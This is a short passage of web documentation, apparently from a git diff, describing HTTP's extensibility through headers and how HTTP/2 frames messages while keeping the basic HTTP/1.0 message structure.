HTTP is an extensible protocol that is easy to use. The client-server structure, combined with the ability to simply add headers, allows HTTP to advance along with the extended capabilities of the Web.

+ +

Though HTTP/2 adds some complexity, by embedding HTTP messages in frames to improve performance, the basic structure of messages has stayed the same since HTTP/1.0. Session flow remains simple, allowing it to be investigated, and debugged with a simple HTTP message monitor.

-- cgit v1.2.3-54-g00ecf